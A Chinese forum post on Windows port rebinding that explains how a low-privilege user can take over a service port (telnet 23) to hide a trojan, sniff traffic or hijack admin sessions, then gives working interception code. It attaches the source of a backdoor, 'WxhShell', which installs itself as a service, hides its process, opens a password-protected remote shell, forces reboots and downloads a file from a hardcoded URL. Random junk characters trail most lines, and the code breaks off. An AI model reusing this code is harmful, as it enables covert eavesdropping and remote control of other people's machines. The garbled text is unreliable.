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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sDZ<X A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n|'}W+  
q&nEodv>+  
  saddr.sin_family = AF_INET; Ywo=w:'  
MFtC2*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r @URs;O=  
Yma-$ytp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f{w[H S,z  
KLpFW}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -\[&<o@/D  
m:W+s4!E  
  这意味着什么?意味着可以进行如下的攻击: ,7n8_pU  
6sQY)F7p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (Rs|"];?Z  
vPSY 1NC5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WX&0;Kr  
Ru~;awV?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'h#>@v> }  
cR6Rb[9 N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^fEer  
y;VmA#k`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !E~czC\p6  
K9_@[}Ge  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lhBu?q  
(J5M+K\H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u|sdQ  
R/\qDY,@  
  #include ;8Ts  
  #include Ewa/6=]LA  
  #include &`2$,zX#  
  #include    LJwy,-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _X~xfmU  
  int main() }Sh3AH/  
  { bcUa'ZfN<  
  WORD wVersionRequested; ?hOv Y)  
  DWORD ret; `s\E"QeZN  
  WSADATA wsaData; @^t1SPp  
  BOOL val;  bE%*ZB  
  SOCKADDR_IN saddr; 1UN$eb7  
  SOCKADDR_IN scaddr; +(m*??TAV  
  int err; G DwijZw  
  SOCKET s; Dq<!wtFG[  
  SOCKET sc; V`_)H  
  int caddsize; k&pV`.Imi  
  HANDLE mt; #^9a[ZLj0  
  DWORD tid;   tKCX0UZ'  
  wVersionRequested = MAKEWORD( 2, 2 ); ,xg(F0q  
  err = WSAStartup( wVersionRequested, &wsaData ); Id?2(Tg  
  if ( err != 0 ) { C4|H 5H  
  printf("error!WSAStartup failed!\n"); yaK4% k  
  return -1; ,D93A  
  } +-PFISa<r  
  saddr.sin_family = AF_INET; O6b.oS '-  
   %T DY &@i=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9)S,c =z83  
$p\0/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `C)|}qcC  
  saddr.sin_port = htons(23); Og:aflS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3z!^UA>q  
  { Gf<%bQE  
  printf("error!socket failed!\n"); y:VY8a 4  
  return -1; e[g.&*!  
  } dG%{&W9  
  val = TRUE; )dF`L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FJIo] p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MmW]U24s  
  {  Eikt,  
  printf("error!setsockopt failed!\n");  Wo,fHY  
  return -1; nq*D91Q  
  } }3 S6TJ+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $c];&)7q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >]/aG!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N3&n"w _d  
,H5o/qNU`{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I8XU '  
  { _MzdbUb5,  
  ret=GetLastError(); nT%<!/}!  
  printf("error!bind failed!\n"); o(Q='kK  
  return -1; U>a~V"5,u  
  } $j'8Z^  
  listen(s,2); BF(Kaf;<t.  
  while(1) SAUG+{Uq  
  { 1V;m8)RF  
  caddsize = sizeof(scaddr); Rqun}v}  
  //接受连接请求 P+(Ys[J3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FfibR\dhY  
  if(sc!=INVALID_SOCKET) I#:,!vjn  
  { {AO`[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]MRQcqbpqL  
  if(mt==NULL) V w5@)l*f  
  { 0T<DHPQ1  
  printf("Thread Creat Failed!\n"); j)lgF:  
  break; >5bd !b,  
  } eS;W>d  
  } giu8EjzK  
  CloseHandle(mt); 1fcyGZq  
  } 1w|u ^[~u\  
  closesocket(s); z{G@t0q  
  WSACleanup(); G-G\l?R(  
  return 0; Wfj*)j Q  
  }   3R[,,WAj$  
  DWORD WINAPI ClientThread(LPVOID lpParam) H JjW  
  { (!dwUB  
  SOCKET ss = (SOCKET)lpParam; G/?j$T  
  SOCKET sc; =d1i<iw?-  
  unsigned char buf[4096];  4d )Q  
  SOCKADDR_IN saddr; RLUH[[  
  long num; ~n9-  
  DWORD val; 1" #W1im  
  DWORD ret; zHt}`>y&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1/ vcj~|)t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zK ir  
  saddr.sin_family = AF_INET; %( o[H sl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G FO(O  
  saddr.sin_port = htons(23);  #)28ESj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0?\d%J!"S  
  { /r mm@  
  printf("error!socket failed!\n"); \I~9%QJ>  
  return -1; Xd@x(T~'X  
  } ?G$X 4KY6`  
  val = 100; tCbn B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6l?\iE  
  { D>I|(B!.p8  
  ret = GetLastError(); ^|h})OHV  
  return -1; 4P$#m<;t  
  } XjV,wsZ=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #>(h!lT_  
  { GeCyq%dN  
  ret = GetLastError(); X?Z#k~JR  
  return -1; UY*[='l!)  
  } 2ZZF hj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p/%B>Y >  
  { N!#TK9  
  printf("error!socket connect failed!\n"); 8CN 0Q&|  
  closesocket(sc); S1a}9Z|  
  closesocket(ss); xN]88L}Tn  
  return -1; 4XsKOv  
  } 2Uq4PCx!  
  while(1) U{~R39  
  { % .n 7+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F/zbb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o&vODs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f/K:~#k  
  num = recv(ss,buf,4096,0); Z|dng6ck  
  if(num>0) *kWrF* )J  
  send(sc,buf,num,0); B:QAG  
  else if(num==0) *Wmn!{\g  
  break; YF(TG]?6  
  num = recv(sc,buf,4096,0); RB `<Zw  
  if(num>0) Y]!{ n W  
  send(ss,buf,num,0); C`>|D [  
  else if(num==0) UkV{4*E  
  break; )4/227b/(  
  } ~R\Z&oQ  
  closesocket(ss); Q )b*; @  
  closesocket(sc); pCm|t!,  
  return 0 ; ]>\!}\R<  
  } tr $~INe  
PgF7ug%,@C  
1%,AU  
========================================================== K\]I@UTwq  
l~9P4 ,  
下边附上一个代码,,WXhSHELL qX?k]m   
`VxfAV?}  
========================================================== 'dTg\ Qv  
K,\Bj/V(  
#include "stdafx.h" qC?\i['`  
V=|X=:fuih  
#include <stdio.h> $Q!J.}P@  
#include <string.h> p4-bD_  
#include <windows.h> _laLTP*  
#include <winsock2.h> =2yg:D  
#include <winsvc.h> _N-JRM m<  
#include <urlmon.h> #`9D,+2iB%  
9e:}q O5)  
#pragma comment (lib, "Ws2_32.lib") }R -azN;  
#pragma comment (lib, "urlmon.lib") 4 9zOhG |  
sTALOL<  
#define MAX_USER   100 // 最大客户端连接数 y $K#M  
#define BUF_SOCK   200 // sock buffer ;+/[<bvd"  
#define KEY_BUFF   255 // 输入 buffer Z>#MTxU(  
O-ZB4hN8  
#define REBOOT     0   // 重启 :Sj r  
#define SHUTDOWN   1   // 关机 0aS&!"o!  
|:?JSi0  
#define DEF_PORT   5000 // 监听端口 (Mw<E<f  
!@<>S>uGG  
#define REG_LEN     16   // 注册表键长度 &J~%Nt  
#define SVC_LEN     80   // NT服务名长度 W~&PGmRI  
eVYUJ,  
// 从dll定义API ^?3e?Q?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ird q51{G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  Py)'%e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >^Zyls  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )~X*&(7RR}  
>v DD.  
// wxhshell配置信息 '<YVDB&-d,  
struct WSCFG { TdAHw @(  
  int ws_port;         // 监听端口 -UM5&R+o  
  char ws_passstr[REG_LEN]; // 口令 !Y3 *\  
  int ws_autoins;       // 安装标记, 1=yes 0=no K{)YnY_E;  
  char ws_regname[REG_LEN]; // 注册表键名 4l~0LdYXKm  
  char ws_svcname[REG_LEN]; // 服务名 xgeKz^,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 75pz' Cb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  #' =rv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H' [#x2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +|w-1&-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z=vzF0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *\i<+~I@l  
/}Z0\ ,  
}; nPj+mg  
8'(|1  
// default Wxhshell configuration \5wC&|WEB  
struct WSCFG wscfg={DEF_PORT, :%?\Wj5HW  
    "xuhuanlingzhe", zmxrz[  
    1, !1H\*VM "  
    "Wxhshell", <A,G:&d~  
    "Wxhshell", :  Jh  
            "WxhShell Service", W_zAAIY_Y  
    "Wrsky Windows CmdShell Service", esM< .  
    "Please Input Your Password: ", (!nhU  
  1, XVfp* `  
  "http://www.wrsky.com/wxhshell.exe", ?V}AwLX}  
  "Wxhshell.exe" I oz rZ  
    }; MpV6Vbp  
(]yOd/ru/C  
// 消息定义模块 +P~E54  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @a1+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?'_Q^O>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z5CWgN  
char *msg_ws_ext="\n\rExit."; q?=eD^]  
char *msg_ws_end="\n\rQuit."; #<7ajmr  
char *msg_ws_boot="\n\rReboot..."; "/)}Cc,L  
char *msg_ws_poff="\n\rShutdown...";  'S f  
char *msg_ws_down="\n\rSave to "; AID}NQ Qj_  
^%v<I"<Uq5  
char *msg_ws_err="\n\rErr!"; ?`hk0qX3  
char *msg_ws_ok="\n\rOK!"; ~?pF'3q  
43mV~Oj  
char ExeFile[MAX_PATH]; J jCzCA:K_  
int nUser = 0; uxq!kF'Ls  
HANDLE handles[MAX_USER]; 'CDRb3w}B  
int OsIsNt; [1Dg_>lz  
$?OuY*ZeY9  
SERVICE_STATUS       serviceStatus; h<wF;g,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XB &-k<C  
_BcYS  
// 函数声明 ?D#]g[6  
int Install(void); z^/aJ@gQ  
int Uninstall(void); >Hr0ScmN@"  
int DownloadFile(char *sURL, SOCKET wsh); -4p^wNR  
int Boot(int flag); ]3iu-~  
void HideProc(void); a; Ihv#q  
int GetOsVer(void); 89B1\ff  
int Wxhshell(SOCKET wsl); g5)f8k0+ t  
void TalkWithClient(void *cs); Aa5IccR  
int CmdShell(SOCKET sock); Fc;)p88[  
int StartFromService(void); `A\ !Gn?   
int StartWxhshell(LPSTR lpCmdLine); Ml)Xq-&wc  
"R$ee^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j.GpJDq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /tno`su;  
7oPBe1P,K+  
// 数据结构和表定义 K5Fzmo a  
SERVICE_TABLE_ENTRY DispatchTable[] = LB1.N!q1  
{ m7 !Fb  
{wscfg.ws_svcname, NTServiceMain}, ;APpgt4  
{NULL, NULL} 46'EZ@#s  
}; lqOv_q  
%}G:R !4 d  
// 自我安装 P 7 [p$Z  
int Install(void) g]C+uj^  
{ g eaeOERc  
  char svExeFile[MAX_PATH]; snTj!rV/_  
  HKEY key; '3wte9E/  
  strcpy(svExeFile,ExeFile); v=:RxjEx  
Gb%PBg}HH  
// 如果是win9x系统,修改注册表设为自启动 ,vQkvuz  
if(!OsIsNt) { ZYBNS~Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O'deQq[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :L9\`&}FS  
  RegCloseKey(key); (jkjj7a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {M]m cRB(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J4te!,  
  RegCloseKey(key); 8zz-jk R  
  return 0; Q]7Q4U  
    } _OTkv6;4n  
  } EkV v  
} nX>k}&^L  
else { o([+Pp  
s&vOwPmV  
// 如果是NT以上系统,安装为系统服务 ~ K^Z4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?x]T &S{  
if (schSCManager!=0) GZ@!jF>!u  
{ knypSgk_  
  SC_HANDLE schService = CreateService K:P gkc  
  ( +bd/*^  
  schSCManager, MQ"<r,o?:  
  wscfg.ws_svcname, cGC&O%`i,\  
  wscfg.ws_svcdisp, Arz> P@EQ  
  SERVICE_ALL_ACCESS, J?5O 2n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , udg;jR-^  
  SERVICE_AUTO_START, :$[m[y7i  
  SERVICE_ERROR_NORMAL, Ssaf RK$  
  svExeFile, <acAc2  
  NULL, Vm&fw".J  
  NULL, z@VY s  
  NULL, A1\;6W:  
  NULL, G <m{o  
  NULL +98~OInySZ  
  ); 1O9V Ej5  
  if (schService!=0) e )\s0#  
  { +(r8SnRX  
  CloseServiceHandle(schService); jKQnox+=  
  CloseServiceHandle(schSCManager); T:wd3^.CG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g}' "&Y  
  strcat(svExeFile,wscfg.ws_svcname); LP_ !g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RXgi>Hz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *8"5mC ;"  
  RegCloseKey(key); @q5!3Nz  
  return 0; NK*~UePy  
    } HI']{2p2}t  
  } Qd]-i3^0  
  CloseServiceHandle(schSCManager); ep[7#\}5  
} y{K~g<VL  
} ? {cF'RB.  
!e.@Xk.P6  
return 1; `-Gs*#(/  
} Tb}`]Y`X  
(q*T.   
// 自我卸载 ?mRU9VY  
int Uninstall(void) IcPIOCmOc  
{ $9*Xfb/  
  HKEY key; :!3CoC.X|c  
u&bo32fc  
if(!OsIsNt) { S! ,.#e(Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]=q?= %H  
  RegDeleteValue(key,wscfg.ws_regname); |...T 4:^Y  
  RegCloseKey(key); e|AJxn]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j4H,*fc  
  RegDeleteValue(key,wscfg.ws_regname); CbS9fc&  
  RegCloseKey(key); |,t#Au}61  
  return 0; ~b8U#'KD  
  } 5H==m~  
} E[2c`XFd8  
} $CHr i|  
else { 1>57rx"l  
^"l>;.w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T\8|Q @  
if (schSCManager!=0) hV'JTU]H  
{ #12PO q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O>|Q Zd  
  if (schService!=0) Aq QArSu,  
  { Thw E1M  
  if(DeleteService(schService)!=0) { C#>c(-p>RC  
  CloseServiceHandle(schService); zWB>;Z}  
  CloseServiceHandle(schSCManager); N}VKH5U|  
  return 0; 3HFsR)  
  } RH6qi{)i!  
  CloseServiceHandle(schService); o*I=6`j  
  } 2HkP$;lED  
  CloseServiceHandle(schSCManager); O)`R)MQ)  
} 2@:Go`mg  
} 5"^$3&)  
6/.-V1*O  
return 1; ?$pp%  
} Bz9!a k~4  
8_8 R$ =V  
// 从指定url下载文件 ?J6J#{LRd  
int DownloadFile(char *sURL, SOCKET wsh) MBXumc_g  
{ sh:sPzQ%Jv  
  HRESULT hr; ga6M8eOI  
char seps[]= "/"; ~e ]83?  
char *token; m}Kn!21  
char *file; 5RI"g f  
char myURL[MAX_PATH]; <.s[x~b\`  
char myFILE[MAX_PATH]; 5R/k -h^`  
a0CmCv2#  
strcpy(myURL,sURL); ArbfA~jXB  
  token=strtok(myURL,seps); cZZ-K?_  
  while(token!=NULL) ISa2|v;M  
  { 6*GY%~JbD  
    file=token; :)cPc7$8  
  token=strtok(NULL,seps); wC`])z}bT  
  } -fT]}T6=  
k[gO>UGB;  
GetCurrentDirectory(MAX_PATH,myFILE); l`~*" 4|/  
strcat(myFILE, "\\"); u z4P  
strcat(myFILE, file); oh:g  
  send(wsh,myFILE,strlen(myFILE),0); xQ^zX7  
send(wsh,"...",3,0);  $3W[fC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k^S=i_ U  
  if(hr==S_OK) oOmPbAY  
return 0; qOV#$dkY  
else ,N?~je.  
return 1; #fRhG^QKp  
4nXS}bWf  
} 3!,XR\`[  
} R;.~F  
// 系统电源模块 Q(T)s  
int Boot(int flag) y5RcJM  
{ Tc T%[h!  
  HANDLE hToken; SwV0q  
  TOKEN_PRIVILEGES tkp; uqXvN'Jr  
4! XB?-.  
  if(OsIsNt) { ow>^(>^~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ym8G=KA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZXFM_>y 5  
    tkp.PrivilegeCount = 1; 506B =  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (XX6M[M8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T7'njaLec  
if(flag==REBOOT) { >hJ$~4?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jY(' ?3  
  return 0; fJH09:@^%  
} ltO:./6v  
else { YRfs8I^rg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u-qg9qXJb  
  return 0; 7(QRG\G#  
} FL,jlE_  
  } kBS;SDl)  
  else { g>1yQ  
if(flag==REBOOT) { ]Vln5U   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \&NpVH,-  
  return 0; \rF6"24t6  
} N)RyRR.x1.  
else { _rR+u56y-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p&>*bF,  
  return 0; D}>pl8ke~g  
} q?nXhUD  
} \j+O |#`|)  
%FDi7Rx  
return 1; J{ P<^<m_  
} \3-XXq  
N/p9Ws  
// win9x进程隐藏模块 2%m H  
void HideProc(void) 0~iC#lHO  
{ zcF~6-aQ  
o+4/L)h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `TYQ^Zm  
  if ( hKernel != NULL ) %g5TU 6WP  
  { [2pp)wq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6iV jAxR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '_lyoVP  
    FreeLibrary(hKernel); L'BDS*  
  } puF'w:I (  
9z$]hl  
return; Z3g6 ?2w6  
} z\Rs?v"  
3l_Ko %qS  
// 获取操作系统版本 `MA ee8u'  
int GetOsVer(void) J*o :RnB  
{ I L 'i7p  
  OSVERSIONINFO winfo; y>Zvose  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e6z;;C@'G  
  GetVersionEx(&winfo); lM86 *g 'l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K_{f6c<  
  return 1; m4b fW  
  else h$F;=YS   
  return 0; o@>{kzCx  
} %6+J]U  
orVsMT[A  
// 客户端句柄模块 CoDu|M%  
int Wxhshell(SOCKET wsl) ?&I gD.  
{ Q&] }`Rp=  
  SOCKET wsh; M#LQz~E  
  struct sockaddr_in client; }S<2({GI  
  DWORD myID; LZch7Xe3  
jJk M:iR  
  while(nUser<MAX_USER) hb9e6Cc  
{ guz{DBlK  
  int nSize=sizeof(client); KE1S5Mck>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PVP,2Yq!  
  if(wsh==INVALID_SOCKET) return 1; %C\Q{_AS  
QZB2yK3]h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9 yH95uaDF  
if(handles[nUser]==0) ` wuA}v3!  
  closesocket(wsh); Fvf308[  
else 8 !Pk1P  
  nUser++; I+Qv$#S/  
  } w$n\`rQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sOg@9-_Uh  
S(9Xbw)T  
  return 0; [HI&>dm=$  
} ]wh8m1  
I<e[/#5P\`  
// 关闭 socket fu?5gzT+b  
void CloseIt(SOCKET wsh) nF~</>  
{ ,Xs%Cg_Ig  
closesocket(wsh); vo )pT  
nUser--; 4!p ~Mr[E  
ExitThread(0); )^7Y^u e  
} sDT(3{)L7  
0,)B~|+  
// 客户端请求句柄 W{O:j  
void TalkWithClient(void *cs) -}`ES]  
{ wUWSW<  
u 'DM?mV:-  
  SOCKET wsh=(SOCKET)cs; S8*VjG?T\  
  char pwd[SVC_LEN]; ("0@_05OH  
  char cmd[KEY_BUFF]; dya]^L}fL  
char chr[1]; T=35?   
int i,j; 9w'3d @  
xoF]r$sC8  
  while (nUser < MAX_USER) { -fw0bL%0  
h>-JXuN  
if(wscfg.ws_passstr) { 4r ;!b;3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }M'h 5x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q$z#+2u  
  //ZeroMemory(pwd,KEY_BUFF); #gq4%;  
      i=0; |7n&I`#  
  while(i<SVC_LEN) { 2  *IF  
=]&?(Gq  
  // 设置超时 LI_>fuv"8  
  fd_set FdRead; $C0Nv Jf  
  struct timeval TimeOut; sUN>uroi !  
  FD_ZERO(&FdRead); >8Wvz.Nq/  
  FD_SET(wsh,&FdRead); JYL/p9K[I  
  TimeOut.tv_sec=8; $gT+Ue|7  
  TimeOut.tv_usec=0; mE(EyB<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y$b4Ga9j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lS]<~  
fI>>w)5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?#!Hm`\.  
  pwd=chr[0]; kKVd4B[#*  
  if(chr[0]==0xd || chr[0]==0xa) { %[\: 8  
  pwd=0; jK/2n}q&]  
  break; H1_XEcaM+*  
  } wNL!T6"G  
  i++; z!;n\CV@  
    } 4)BZ%1+  
bhe~ekb  
  // 如果是非法用户,关闭 socket D.Rk{0se8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .NcoST9a  
} wLC!vX.S  
wH=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4@OnMj{M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \s?OvqI:  
V2sWcV?  
while(1) { !Rk1q&U5  
tW53&q\=  
  ZeroMemory(cmd,KEY_BUFF); _=E))Kp{z  
(oX|lPD<b  
      // 自动支持客户端 telnet标准   fx %Y(W#5  
  j=0; GdG1e%y]z  
  while(j<KEY_BUFF) { }uo5rB5D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8v@6 &ras@  
  cmd[j]=chr[0]; B3K!>lz  
  if(chr[0]==0xa || chr[0]==0xd) { S>}jsP:V  
  cmd[j]=0; 26JP<&%L  
  break; 3xef>Xv=  
  } *k==2figz  
  j++; g]85[xz  
    } z_R^n#A~r  
JL $6Fw;  
  // 下载文件 fpf1^ TZ  
  if(strstr(cmd,"http://")) { LSb3w/3M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {PgB~|W  
  if(DownloadFile(cmd,wsh)) R5 47  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Uki)3(  
  else r|4jR6%<'m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BM=`zGh"  
  } `?LQd2p  
  else { ta"/R@ k*  
;tTM3W-h  
    switch(cmd[0]) { 'c5#M,G~  
  \eF5* {9  
  // 帮助 4"1OtBU3  
  case '?': { D}'g4Ag  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); & i"33.#]  
    break; jm&?;~>O  
  } I2kqA5>)j  
  // 安装 <_@ K4zV  
  case 'i': { 6} "?eW  
    if(Install()) 2A|^6#XN'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0i\ol9,bf  
    else "Pi\I9M3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bcL>S$B  
    break; ,6Sa  
    } ^_6%dKLK  
  // 卸载 ##d\|r  
  case 'r': { 4NN-'Z>a  
    if(Uninstall()) ms'&.u&<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =o\ :@I[  
    else u{0+w\xH\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E{gu39D  
    break; y_J~n 9R  
    } *bRer[7y  
  // 显示 wxhshell 所在路径 o_&.R  
  case 'p': { |t CD@M  
    char svExeFile[MAX_PATH]; MV6 %~T  
    strcpy(svExeFile,"\n\r"); 6-va;G9Fc  
      strcat(svExeFile,ExeFile); hh}%Z=  
        send(wsh,svExeFile,strlen(svExeFile),0); vLn<=.  
    break; HX\@Qws  
    } S_LY>k?  
  // 重启 vb/*ILS  
  case 'b': { G~_5E]8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HVz-i{M  
    if(Boot(REBOOT)) F48:mfj1r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :p@H  
    else { MbLG8T:y  
    closesocket(wsh); g`)3m,\  
    ExitThread(0);  84L!r  
    } r5Ej  
    break; zk5sAHQ  
    } +*,rOK`C  
  // 关机 hY+3PNiI@  
  case 'd': { Pc{D,/EpR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SF+ ^dPwj  
